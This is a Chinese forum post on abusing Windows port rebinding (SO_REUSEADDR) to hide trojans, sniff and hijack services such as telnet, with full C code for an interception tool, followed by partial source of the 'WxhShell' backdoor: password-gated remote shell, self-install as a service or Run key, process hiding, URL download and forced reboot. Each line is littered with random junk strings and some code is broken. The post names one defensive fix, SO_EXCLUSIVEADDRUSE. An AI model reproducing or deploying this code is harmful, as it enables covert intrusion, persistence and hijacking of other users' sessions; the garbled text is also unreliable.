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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KG(FA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v\8v'EDP  
^.)0O3oC  
  saddr.sin_family = AF_INET; oqh@ (<%  
Uaux0W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]U'zy+  
QeFt WjlqC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FO[ s;dmzu  
iOhX\@&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q`'cxx  
mD% qDKI  
  这意味着什么?意味着可以进行如下的攻击: ~E8/m_> rU  
f?=0Wzb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZG1TR F "  
^pu8\K;~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QQN6\(;-  
Wd!Z`,R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $PRd'YdL/  
k=kkF"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =s*c(>  
G7`mK}J7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J5jI/P  
6p&2 A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R"HV|Dm|m  
@8m%*pBg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =to.Oa RR  
eQ)*jeD  
  #include U_'M9g{,<  
  #include MHt ~ZVH  
  #include $v2t6wS,"  
  #include    jf1GYwuW*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PE6,9i0ee  
  int main() 2^`k6V!  
  { _~yd  
  WORD wVersionRequested; =&k[qqxg  
  DWORD ret; 9pj6`5Zn@6  
  WSADATA wsaData; /mp!%j~  
  BOOL val; h {Jio>  
  SOCKADDR_IN saddr; &$2d=q8mh  
  SOCKADDR_IN scaddr; jPz1W4pk  
  int err; G?b*e|@S  
  SOCKET s; OY81|N j  
  SOCKET sc; Y=Ic<WHR  
  int caddsize; A =Z$H2  
  HANDLE mt; ztHx) !  
  DWORD tid;   *v(Q-FW  
  wVersionRequested = MAKEWORD( 2, 2 ); x|d?'  
  err = WSAStartup( wVersionRequested, &wsaData ); PWp=}f.y  
  if ( err != 0 ) { tj*0Y-F~  
  printf("error!WSAStartup failed!\n"); s{7bu|0  
  return -1; LcA7f'GVK  
  } m*B4a9 f  
  saddr.sin_family = AF_INET; c+z [4"rYL  
   M~`^deU1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P~lU`.X}  
`S4*~Xx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %ueD3;V  
  saddr.sin_port = htons(23); }.8yKj^p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \i-CTv6f  
  { `ItoL7bi  
  printf("error!socket failed!\n"); kzK9 .  
  return -1; m##!sF^k~J  
  } KrG,T5  
  val = TRUE; -~JYfj@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c V MRSp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tcl9:2/^]  
  { SvkCx>6/G  
  printf("error!setsockopt failed!\n"); Z 1wtOL  
  return -1; 3Ur_?PM+C  
  } j@+$lU*r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *]R5bj.!o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `Xeiz'~f8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O<|pw  
5wAKA`p"z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ! N!pvK;  
  { EBL-+%J8  
  ret=GetLastError(); ^ZS!1%1  
  printf("error!bind failed!\n"); @x!+_z  
  return -1; ,H.5TQ#  
  } k$f2i,7'  
  listen(s,2); (dyY@={q  
  while(1) +hispU3ia  
  { OXKV6r6f  
  caddsize = sizeof(scaddr); %;u"2L0@  
  //接受连接请求 2)0J@r'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1k)pJzsc  
  if(sc!=INVALID_SOCKET) bd}[X'4d  
  { :HrFbq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &\cS{35  
  if(mt==NULL) A*/8j\{n  
  { LxWd_B  
  printf("Thread Creat Failed!\n"); h*1T3U$  
  break; R)SY#*Y  
  } o-l-Z|)7  
  } FZ]+(Q"]:  
  CloseHandle(mt); H=~7g3  
  } ,=G]tnsv^  
  closesocket(s); 88S:E7 $  
  WSACleanup(); Y}2Sr-@u  
  return 0; gE^pOn  
  }   y4IQa.F  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z1 ($9hE>  
  { yw7(!1j=  
  SOCKET ss = (SOCKET)lpParam; #XqCz>Z  
  SOCKET sc; UA~ 4O Q]  
  unsigned char buf[4096]; W,80deT  
  SOCKADDR_IN saddr; eYlI};  
  long num; +zLw%WD[l  
  DWORD val; ~a_X 7  
  DWORD ret; T"X]@9g^-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .<fdX()e,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q}<QE:-&E  
  saddr.sin_family = AF_INET; yVGf[ ~X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <Ist^ h+o  
  saddr.sin_port = htons(23); a 8Xwz@ M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |sFd5X  
  { @+p(%  
  printf("error!socket failed!\n"); {dRZ2U3  
  return -1; EN/t5d  
  } /#@tv~Z^  
  val = 100; kn$_X4^?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HRM-r~2:-]  
  { m`q&[:  
  ret = GetLastError(); ew dTsgt'  
  return -1; m0h,!  
  } 52#6uBe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) } d8\ Jg  
  { LA 2/<:  
  ret = GetLastError(); 1t^9.!$@y  
  return -1; 4J(-~  
  } ]e"!ZR?XJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,!%E\`  
  { cqs.[0 z#B  
  printf("error!socket connect failed!\n");  s7:H  
  closesocket(sc); #Y   
  closesocket(ss); Lr8|S  
  return -1; (>x05nh  
  } a:HN#P)12  
  while(1) ]W2#8:i  
  { @^ -Y&N!b=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (/]#G8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CP%^)LX *  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U  yV5A  
  num = recv(ss,buf,4096,0); $>yfu=]?  
  if(num>0) % C2Vga#  
  send(sc,buf,num,0); 4L{]!dox  
  else if(num==0) > 3(,s^  
  break; A9K$:mL<2  
  num = recv(sc,buf,4096,0); ]a~sJz!  
  if(num>0) n@;B_Bt7  
  send(ss,buf,num,0); zG9D Ph  
  else if(num==0) =VZ_';b h  
  break; e?+-~]0  
  } m$v >r\*X  
  closesocket(ss); @sg.0GR  
  closesocket(sc); yOKzw~;0%  
  return 0 ; zP2X}VLMo  
  } zYY]+)k?  
G?XA",AC  
EleJ$ `/  
========================================================== <Y1 Plc  
GtZ.' ?-  
下边附上一个代码,,WXhSHELL cYC^;,C &|  
'OP0#`6`  
========================================================== 4Nt4(3Kf  
es#6/  
#include "stdafx.h" 7'i{JPm  
z,SI  
#include <stdio.h> 2; ,8 u  
#include <string.h> &}2@pu[S?7  
#include <windows.h> >,3uu}s  
#include <winsock2.h> to&,d`k=-  
#include <winsvc.h> {!qnHv\S  
#include <urlmon.h> ~;Y Tz  
X _@|+d  
#pragma comment (lib, "Ws2_32.lib") "qR, V9\  
#pragma comment (lib, "urlmon.lib") S!z3$@o  
J+ S]Qoz  
#define MAX_USER   100 // 最大客户端连接数 rQ]JM  
#define BUF_SOCK   200 // sock buffer F4z#u2~TC  
#define KEY_BUFF   255 // 输入 buffer QQV8Vlv"  
=MJB:  
#define REBOOT     0   // 重启 ~XuV:K3  
#define SHUTDOWN   1   // 关机 YCxwIzIR  
V|sV U  
#define DEF_PORT   5000 // 监听端口 Khc^q*|C)  
gVzIEE25  
#define REG_LEN     16   // 注册表键长度 `t)9u^[<(  
#define SVC_LEN     80   // NT服务名长度 y'4Qt.1ukN  
Q/0gd? U?  
// 从dll定义API 9oO~UP!ag  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1kL8EPT%o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \'Et)uD*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wW)(mY?   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +M_ _\7  
4E=v)C'  
// wxhshell配置信息 L{8_6s(:  
struct WSCFG { LOfw #+]d  
  int ws_port;         // 监听端口 <Oh i+a%6  
  char ws_passstr[REG_LEN]; // 口令 r#)1/`h  
  int ws_autoins;       // 安装标记, 1=yes 0=no rg>2tgA  
  char ws_regname[REG_LEN]; // 注册表键名 kln)7SzPuk  
  char ws_svcname[REG_LEN]; // 服务名 vVa|E# [  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5~IdWwG*w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m<>BxX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P,'%$DLDg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _\tv ${  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (,QWK08  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !\BZ_guz  
YJ"D"QD  
}; j"h/v7~  
[*zg? ur  
// default Wxhshell configuration $;q }j vo  
struct WSCFG wscfg={DEF_PORT, $VF,l#aR  
    "xuhuanlingzhe", [NO4Wzc  
    1, r=Lgh#9S  
    "Wxhshell", U-fxlg|-C  
    "Wxhshell", 3s%ND7!/  
            "WxhShell Service", hPBBXj/=  
    "Wrsky Windows CmdShell Service", Sm4BZF~!B  
    "Please Input Your Password: ",  ]gcOMC  
  1, \2a;z<(  
  "http://www.wrsky.com/wxhshell.exe", 8/dMvAB1So  
  "Wxhshell.exe" s[0`  
    }; o&%v"#H2  
4^2>K C_  
// 消息定义模块 (M$>*O3SR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c6 mS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -X$EE$:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ([< HFc`  
char *msg_ws_ext="\n\rExit."; $B%KkD  
char *msg_ws_end="\n\rQuit."; Ta?}n^V?;  
char *msg_ws_boot="\n\rReboot..."; N2A6C$s  
char *msg_ws_poff="\n\rShutdown..."; '0q$qN  
char *msg_ws_down="\n\rSave to "; ;;+AdN5  
Nv36#^Z  
char *msg_ws_err="\n\rErr!"; iD_y@+iz  
char *msg_ws_ok="\n\rOK!"; T Q4L~8  
Ri"hU/H{  
char ExeFile[MAX_PATH]; lN g){3  
int nUser = 0; 6 V0Ayxg7  
HANDLE handles[MAX_USER]; JJ?rVq1g  
int OsIsNt; j;coPehB  
..u{v}4&  
SERVICE_STATUS       serviceStatus; 9_:"`)] 3B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r@zT!.sc!  
#vV]nI<MF.  
// 函数声明 _(h=@cv  
int Install(void); A[;deHg=  
int Uninstall(void);  MYy58N  
int DownloadFile(char *sURL, SOCKET wsh); 4mo/MK&M:  
int Boot(int flag); 0N>K4ho6{  
void HideProc(void); zQY ,}a  
int GetOsVer(void); oHx :["F  
int Wxhshell(SOCKET wsl); bGeIb-|(  
void TalkWithClient(void *cs); 3jxC}xz)  
int CmdShell(SOCKET sock); g3NUw/]#  
int StartFromService(void); $-1ajSVJ  
int StartWxhshell(LPSTR lpCmdLine); L>sLb(2\i  
<6 Rec^QF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ANu>*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [h;I)ug[o(  
PtW2S 1?j  
// 数据结构和表定义 m#RJRuZ|2V  
SERVICE_TABLE_ENTRY DispatchTable[] = gU x}vE-  
{ g-d{"ZXd J  
{wscfg.ws_svcname, NTServiceMain}, 63u%=-T%a  
{NULL, NULL} VmPh''Z%-  
}; lY tt|J  
^{MqJ\S7H  
// 自我安装 JnBc@qnP6  
int Install(void) )x/#sW%)  
{ Zc~7R`v7}  
  char svExeFile[MAX_PATH]; OU,FU@6,7w  
  HKEY key; X<;.  
  strcpy(svExeFile,ExeFile); \]Ah=`  
S^p b9~  
// 如果是win9x系统,修改注册表设为自启动 ,jg #^47I  
if(!OsIsNt) { nA,=g'7S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SQcic]Ep  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "73y}'  
  RegCloseKey(key); C+s/KA%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X#$ oV#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %(eQ1ir+  
  RegCloseKey(key); =figat  
  return 0; G`0O5G:1  
    } <9fXf*  
  } AEyD?^?  
} x7zc3%T's  
else { ]z^jz#>um&  
MZh.Xo  
// 如果是NT以上系统,安装为系统服务 1 gjaTPwY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %@a;q?/?Nd  
if (schSCManager!=0) ,ZJ}X 9$<  
{ wea  
  SC_HANDLE schService = CreateService jJiuq#;T3  
  ( X.4WVI  
  schSCManager, U%:%. Bys  
  wscfg.ws_svcname, [l5jPL}6  
  wscfg.ws_svcdisp, ~q566k!Ll!  
  SERVICE_ALL_ACCESS,  : Z<\R0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PDD2ouv4  
  SERVICE_AUTO_START, `S|F\mI ~  
  SERVICE_ERROR_NORMAL, $GRwk>N  
  svExeFile, 9abUh3  
  NULL, 2Cp4aTGv#  
  NULL, 3pWav 1"  
  NULL, L.@$rFhA  
  NULL, | 9S8sfw  
  NULL f<bB= 9J  
  ); cwzkA,e@  
  if (schService!=0) n>.@@  
  { h 8UhrD<:  
  CloseServiceHandle(schService); u/j\pDl.  
  CloseServiceHandle(schSCManager); Hu<]*(lK%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I(~([F2  
  strcat(svExeFile,wscfg.ws_svcname); *bFWNJ}`q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;F @Sz/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1w7tRw  
  RegCloseKey(key); }kmAUaa,Z  
  return 0; 9y6u&!PZ\  
    } y{mt *VA4  
  } e x Z/  
  CloseServiceHandle(schSCManager); GqCBD-@4v.  
} tjtvO@?1-  
} d {U%q d  
+&G(AW  
return 1; ENhLonM eV  
} ; j.d  
8X`DFeJ  
// 自我卸载 3 twA5)v  
int Uninstall(void) zS;ruK%2  
{ k)>H=?mI  
  HKEY key; Ql5bjlQdO  
o i'iZX  
if(!OsIsNt) { 1r> ]XhRFZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~fkcal1@  
  RegDeleteValue(key,wscfg.ws_regname); q#AEu xI1  
  RegCloseKey(key); M(+Pd_c6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8+w*,Ry`  
  RegDeleteValue(key,wscfg.ws_regname); ]}/Rl}_  
  RegCloseKey(key); /a32QuS  
  return 0; G$Mf(S'f  
  } (k!7`<k!Y  
} tdRvg7v,N%  
} L3I$ K+c  
else { %l&oRBC  
k5-4^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~|=D.}#$  
if (schSCManager!=0) Q9OCf"n$  
{ B`eK_'7t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UeFJ5n'x:  
  if (schService!=0) &l2xh~L  
  { ?X|q   
  if(DeleteService(schService)!=0) { A;rk4)lij  
  CloseServiceHandle(schService); Rf4K Rhi  
  CloseServiceHandle(schSCManager); Fvk=6$d2  
  return 0; %|H]T] s  
  } O MQ?*^eA  
  CloseServiceHandle(schService); ~`Bk CTT  
  } Ich^*z(F$  
  CloseServiceHandle(schSCManager); P,] ./m\J  
} &Pme4IHtm  
} ~vDa2D<9%  
_(J#RH  
return 1; Y({ R\W|  
} k#pO+[ x  
Mu/(Xp62  
// 从指定url下载文件 :u9'ZHkZ  
int DownloadFile(char *sURL, SOCKET wsh) DQ+6VPc^o  
{ \l(J6Tu  
  HRESULT hr; 8zeeC eIU  
char seps[]= "/"; >6Uc|D  
char *token; +:^l|6%}  
char *file; 'v<v6vs  
char myURL[MAX_PATH]; tUH?N/qn  
char myFILE[MAX_PATH]; T=YVG@fm?  
'9u?lA^9$  
strcpy(myURL,sURL); jA9uB.I,"b  
  token=strtok(myURL,seps); AcuZ? LYzK  
  while(token!=NULL) {K+f& 75  
  { %]7 6u7b/  
    file=token; K!\v ?WbF  
  token=strtok(NULL,seps); FW8Zpr!u  
  } (]cL5o9  
 ( y!o  
GetCurrentDirectory(MAX_PATH,myFILE); HUjX[w8  
strcat(myFILE, "\\"); %bTuE' `b  
strcat(myFILE, file); 4Lg ,J9  
  send(wsh,myFILE,strlen(myFILE),0); sDNWB_~  
send(wsh,"...",3,0); \;MP|:{pU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  b}NNkM  
  if(hr==S_OK) RdD>&D$I  
return 0; `,SL\\%u  
else ,*W~M&n"m  
return 1; ,&@GxiU  
B /uaRi%  
} %C`P7&8m=O  
N,lr~ 6)  
// 系统电源模块 C[%Qg=<  
int Boot(int flag) 55s5(]`d  
{ P]n0L4c  
  HANDLE hToken; 0fX` >-X  
  TOKEN_PRIVILEGES tkp; 8GW+:  
(rhlK} C  
  if(OsIsNt) { o}QP+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eZa7brC|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V5$ Gb6?K  
    tkp.PrivilegeCount = 1; J|{50?S{^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?WXftzdf6u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S|| W  
if(flag==REBOOT) { eEBNO*2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OF`J{`{r  
  return 0; xz0t8`N oN  
} A^FkU  
else { 6oLOA}q   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (bv{1 7K  
  return 0; :@jctH~  
} %ZD]qaU0  
  } P\K#q%8  
  else { DgcS@N  
if(flag==REBOOT) { %J2Ad  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b?OA|JqX  
  return 0; >k`qPpf&  
} [ x+ -N7  
else { y'`7zJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !HU$V9C  
  return 0; YK{J"Kof  
} 'cc8 xC  
} $"NH{%95}  
hfI=9x/  
return 1; zZPWE "u}  
} Q/3*65  
5B|.cOE  
// win9x进程隐藏模块 s"#N;  
void HideProc(void) 4vi?9MPz  
{ %dnpO|L  
r e zp7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &&l ZUR,`  
  if ( hKernel != NULL ) *cM=>3ws/  
  { b-8@_@f|g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {+#{Cha  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i|z=WnF$&  
    FreeLibrary(hKernel); &)6}.$`  
  } 2?%4|@*H?  
)t+pwh!8  
return; U[3w9  
} mK$E&,OkA  
|~%RSS~b*  
// 获取操作系统版本 E8Kk )7  
int GetOsVer(void) Hy :x.'i  
{ $+J39%Y!^  
  OSVERSIONINFO winfo; /9kxDbj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XdThl  
  GetVersionEx(&winfo); 7#+Ih-&EQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~Yc~_)hD  
  return 1; %t,42jQ9  
  else ^A&{g.0  
  return 0; (*r2bm2FPO  
} ]T/%Bau  
):hz /vZ  
// 客户端句柄模块 ]vB^%  
int Wxhshell(SOCKET wsl) SaGI4O_\s  
{ } 'xGip@W  
  SOCKET wsh; $/ "+t.ir3  
  struct sockaddr_in client; @bTm.3  
  DWORD myID; H +I,c1sF  
-w2^26 ax  
  while(nUser<MAX_USER) {J1rjrPo  
{ TJRp/BP  
  int nSize=sizeof(client); D3aX\ NGP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KO8vUR*2R  
  if(wsh==INVALID_SOCKET) return 1; 2m*ugBO;  
p' ^}J$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yB7si(,1>  
if(handles[nUser]==0) =%I[o=6  
  closesocket(wsh); **__&X p1  
else bj0HAgY@  
  nUser++; 32+N?[9 *  
  } fhZwYx&t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ::02?  
;p*L(8<YI  
  return 0; p&Nav,9x  
} +&"W:Le:  
&u|t{C#0  
// 关闭 socket = .S2gO >  
void CloseIt(SOCKET wsh) 2u_=i$xW  
{ gYbvCs8O!  
closesocket(wsh); _5n2'\] H`  
nUser--; FEhBhv|m  
ExitThread(0); rMWvW(@@D  
} o/,%rA4  
74 ptd,  
// 客户端请求句柄 *{5}m(5F  
void TalkWithClient(void *cs) `m1stK(PO  
{ {=I,+[(  
exSwx-zxI  
  SOCKET wsh=(SOCKET)cs; TuCHD~rb  
  char pwd[SVC_LEN]; 1 c"s+k]9  
  char cmd[KEY_BUFF]; EhO\N\p(Q=  
char chr[1]; pHVDug3  
int i,j; /oe0  
@.cord`  
  while (nUser < MAX_USER) { 6C.!+km  
P[H`]q|  
if(wscfg.ws_passstr) { n}Thc6f3D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rq(+zL(f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +>it u J  
  //ZeroMemory(pwd,KEY_BUFF); ZHA&gdK@  
      i=0; 3<FqK\P  
  while(i<SVC_LEN) { H"pYj  
}T902RL0  
  // 设置超时 vQXF$/S  
  fd_set FdRead; myXGMN$i  
  struct timeval TimeOut; *URY8 a`bO  
  FD_ZERO(&FdRead); eWYet2!Q  
  FD_SET(wsh,&FdRead); `m AYK)N  
  TimeOut.tv_sec=8; AS0(NlV  
  TimeOut.tv_usec=0; _kOuD}_|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i-0AcN./p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T06w`'aL  
<5]_u:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4mBM5Tv  
  pwd=chr[0]; bU}!bol  
  if(chr[0]==0xd || chr[0]==0xa) { jj ` 0w@  
  pwd=0; T2W^4)  
  break; -=rGN"(M _  
  } /s)It  
  i++; 25, [<Ao  
    } ;ACeY  
{QK9pZB  
  // 如果是非法用户,关闭 socket k]& I(VQ"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Obc,    
} N]c:8dOj  
 h;K9}w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :1iXBG\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <9=RLENmY"  
. VI #  
while(1) { Jl"DMUy[kW  
t@cBuV`9c  
  ZeroMemory(cmd,KEY_BUFF);  :i?c  
,aWfGh#$  
      // 自动支持客户端 telnet标准   bg4VHT7?>)  
  j=0; jAt6 5a  
  while(j<KEY_BUFF) { `b@"GOr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `~=Is.V[  
  cmd[j]=chr[0]; ^kB9 I8u  
  if(chr[0]==0xa || chr[0]==0xd) { 0Z%<H\Z  
  cmd[j]=0; S!}pL8OE  
  break; T?__  
  } ; zy;M5l5.  
  j++; _x#r,1V+D  
    } jaux:fU  
dnPr2oI?I  
  // 下载文件 SR)@'-Wd  
  if(strstr(cmd,"http://")) { DUm/0q&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W\DJXM]b  
  if(DownloadFile(cmd,wsh)) &zP\K~Nt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m} =<@b:l  
  else +fIy eX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v#sx9$K T  
  } ^T@-yys  
  else { /_bM~g  
qn\>(&  
    switch(cmd[0]) { GWShv\c}  
  Q;1$gImFz  
  // 帮助 }Ty_ } 6a5  
  case '?': { DNM~/Oo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uoBPi[nK  
    break; ;#"`]khd  
  } Xg"Mjmr  
  // 安装 LyXABQ]  
  case 'i': { 1hp@.Fv  
    if(Install()) @1[LD[<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9=~jKl%\vJ  
    else ]zK} X!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s*}d`"YvH  
    break; 0$49X  
    }  6Ue6b$xE  
  // 卸载 0MzHr2?'P  
  case 'r': { t,P +~ A  
    if(Uninstall()) 5 4LCoG/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9zd)[4%=  
    else (C QgT3V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J.`.lQ$z  
    break; *XzUqK  
    } u09OnP\  
  // 显示 wxhshell 所在路径 kp;MNRc  
  case 'p': { Z#W`0G>'  
    char svExeFile[MAX_PATH]; L,X6L @Q  
    strcpy(svExeFile,"\n\r"); ^jhHaN]G^  
      strcat(svExeFile,ExeFile); 7y`~T+  
        send(wsh,svExeFile,strlen(svExeFile),0); 2W~2Hk=0+%  
    break; TT&!WbA-Hk  
    } o_$r*Z|HG  
  // 重启 RMrt4:-DI  
  case 'b': { gA) F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uTJ?@ ^nq  
    if(Boot(REBOOT)) Cw^)}23R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EGMcU| yL  
    else { &k{@:z  
    closesocket(wsh); AU$5"kBE  
    ExitThread(0); B'0Il"g'  
    } ,>jm|BTD {  
    break; (}qLxZ/U  
    } wLUmRo56aR  
